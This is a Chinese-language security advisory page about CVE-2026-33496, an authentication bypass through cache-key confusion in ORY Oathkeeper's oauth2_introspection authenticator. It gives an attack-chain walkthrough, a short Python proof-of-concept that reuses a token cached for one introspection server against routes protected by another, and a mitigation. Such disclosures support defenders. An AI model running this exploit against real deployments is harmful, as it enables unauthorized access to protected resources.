IPBUF安全漏洞报告
English
CVE-2026-33496 CVSS 8.1 高危

CVE-2026-33496 ORY Oathkeeper认证绕过漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33496
漏洞类型
认证绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ORY Oathkeeper

相关标签

认证绕过ORY Oathkeeper缓存混淆Web安全

漏洞概述

ORY Oathkeeper 在26.2.0之前的版本中存在认证绕过漏洞。由于`oauth2_introspection`认证器的缓存键混淆,未区分不同内省URL验证的令牌。攻击者可利用有效令牌通过缓存机制绕过使用不同内省服务器的规则,导致未授权访问。

技术细节

该漏洞源于ORY Oathkeeper的`oauth2_introspection`认证器缓存机制设计缺陷。当系统配置了多个OAuth2内省服务器并启用缓存时,缓存键未包含内省服务器的URL。攻击者首先获取针对服务器A的有效令牌并发出请求,使系统缓存该令牌的“有效”状态。随后,攻击者使用同一令牌向配置了服务器B的规则发起请求。由于缓存键仅基于令牌而忽略了请求目标(服务器URL),系统错误地返回了服务器A的缓存验证结果,从而绕过了针对服务器B的严格身份验证流程。这使得攻击者能够利用低权限服务器的令牌访问高权限或不同的资源,实现权限提升或未授权访问。

攻击链分析

STEP 1
侦察与配置分析
攻击者确认目标ORY Oathkeeper实例配置了多个`oauth2_introspection`认证服务器,并且启用了缓存功能。
STEP 2
获取令牌
攻击者设法获取一个针对其中一个内省服务器(如Server A)的有效令牌。
STEP 3
缓存预热
攻击者使用该有效令牌向由Server A保护的资源发起请求。Oathkeeper验证令牌有效后,将其状态存入缓存,但缓存键未包含Server A的URL信息。
STEP 4
认证绕过
攻击者使用同一个令牌向由另一个内省服务器(如Server B)保护的资源发起请求。由于缓存键冲突,Oathkeeper直接返回了缓存的“有效”状态,而未向Server B进行验证,从而实现认证绕过。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-33496 import requests # Configuration target_url = "https://target-oathkeeper.com" introspection_endpoint_A = "https://auth-server-a.com/introspect" introspection_endpoint_B = "https://auth-server-b.com/introspect" valid_token_for_A = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Step 1: Prime the cache by sending a request authenticating against Server A # This causes Oathkeeper to cache the token as 'valid' for this specific token value headers = {"Authorization": f"Bearer {valid_token_for_A}"} print("[*] Priming cache with token valid for Server A...") response = requests.get(f"{target_url}/route-protected-by-A", headers=headers) print(f"Status: {response.status_code}") # Step 2: Exploit the cache confusion # Use the same token to access a route protected by Server B # Because the cache key does not include the Introspection URL, # Oathkeeper returns the cached result from Step 1, bypassing validation against Server B print("[*] Attempting to access route protected by Server B using the same token...") response = requests.get(f"{target_url}/route-protected-by-B", headers=headers) if response.status_code == 200: print("[!] Exploit successful! Authentication bypassed via cache confusion.") else: print("[-] Exploit failed.")

影响范围

ORY Oathkeeper < 26.2.0

防御指南

临时缓解措施
如果不能立即升级,请禁用`oauth2_introspection`认证器的缓存功能,以防止缓存键混淆导致的认证绕过。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表